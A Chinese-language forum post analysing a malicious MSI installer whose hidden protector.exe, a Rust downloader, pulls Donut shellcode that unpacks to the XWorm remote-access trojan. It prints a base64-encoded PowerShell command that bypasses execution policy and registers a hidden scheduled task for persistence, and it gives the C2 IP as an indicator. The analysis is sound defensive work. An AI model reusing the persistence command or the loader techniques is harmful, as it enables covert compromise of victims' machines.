-
-
[原创]一个msi样本的分析2
-
发表于: 2025-2-27 23:06 2116
-
样本来源:
a67K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5Y4y4Q4x3X3g2C8j5h3k6S2L8W2)9J5k6h3y4F1i4K6u0r3N6r3S2J5k6h3q4V1i4K6u0V1x3U0t1%4z5e0b7&6x3W2)9J5k6o6q4Q4x3X3b7I4i4K6u0W2K9s2c8E0L8l9`.`.
感谢分享~
SHA256:165eb1453ad116dad9d695afb519eacc2996f53643336496731b1bb95e447563
文件分析
msi文件
行为分析
进程行为
安装程序没有看到其他进程创建的行为
文件行为
好像安装失败了?先不管了
注册表行为
未发现明显维权行为
网络行为
未检出,那应该就是安装失败了
详细分析
对于msi文件,我们先使用Orca看下文件结构
File目录下总共有三个文件
第一个Firefox的exe签名正常,应该是个白文件
第二个jpg就是个图片,凡是不清楚里面有没有藏shellcode,但是目前来看就是正常文件
那么我们重点需要分析的就是protector.exe了。先放放,看看msi文件中的其他段。逻辑上我们需要找到哪里会调用protector。
在CustomAction中,我们可以找到如下位置调用了火狐的安装包,viewer.exe也是白文件,用于使用特定参数运行指定文件
msi调用protector比较隐蔽
首先在Property中声明了该文件为AI_APP_FILE
然后调用aicustact.dll执行LaunchAPP调用AI_APP_FILE,其中aicustact.dll也为白文件,签名正常
ok目前为止,我们已经大致确定了目标以及目标程序的调用方法,接下来就开始分析核心文件
protector.exe
rust编写的程序,使用ida9可以恢复大部分符号
我们进入main函数下拉一下就可以看到c2
我们现在还是从头开始分析
首先进入main函数,可以看到request_admin_privileges函数,这个函数用来识别调用属性,如果是管理员执行则继续,否则结束进程,猜测这里就是直接运行无法获取信息的原因
后续add_startup_task函数中调用powershell执行命令做维权操作
1 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" - NoProfile - ExecutionPolicy Bypass - EncodedCommand JABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACIAIAAtAEEAcgBnAHUAbQBlAG4AdAAgACIALQBOAG8AUAByAG8AZgBpAGwAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEYAaQBsAGUAUABhAHQAaAAgAFwAIgBDADoAXABcAFUAcwBlAHIAcwBcAFwAUABpAG4AawBLAGUAeQBcAFwARABlAHMAawB0AG8AcABcAFwAVABlAG0AcABcAFwAaAB1AGgAdQA3AC4AMgA2AFwAXABwAHIAbwB0AGUAYwB0AG8AcgAuAGUAeABlAFwAIgAiADsAIAAkAHQAcgBpAGcAZwBlAHIAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABMAG8AZwBvAG4AOwAgAFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAFQAYQBzAGsATgBhAG0AZQAgACIAUwB5AHMAQwBvAHIAZQBUAGUAcwB0ACIAIAAtAEEAYwB0AGkAbwBuACAAJABhAGMAdABpAG8AbgAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAByAGkAZwBnAGUAcgAgAC0ARABlAHMAYwByAGkAcAB0AGkAbwBuACAAIgBUAGUAcwB0ACAAcwB0AGEAcgB0AHUAcAAgAHQAYQBzAGsAIgAgAC0AUgB1AG4ATABlAHYAZQBsACAASABpAGcAaABlAHMAdAAAAA = = |
绕过windeender,执行如下命令,隐藏路径并在登陆时启动
在这之后就是核心内容了,创建内存,接收上述c2的文件,然后执行
之后这个文件就没有什么操作了,确认为下载器+加载器
然后就是shellcode分析了,我们可以从内存中dump出来,也可以直接访问ip获取
Donut的pe转shellcode,我们可以再转成pe文件
代码使用donut,在如下位置解密c#指令集,后续使用clr非托管调用执行
我们来看下释放的文件
直接把病毒类型爆出来了,XWorm
每十秒建立一次连接,具体的直接看XWorm的分析吧~
IOC
154.197.33.29
微步云沙箱已可检出样本,欢迎大家使用哦~
赞赏
- [原创]一个恶意样本的分析 1335
- [原创]一个远控样本研判 1522
- [原创]一个恶意样本分析 5010
- [原创]一个银狐白加黑分析 1754
- [原创]一个恶意样本分析 2522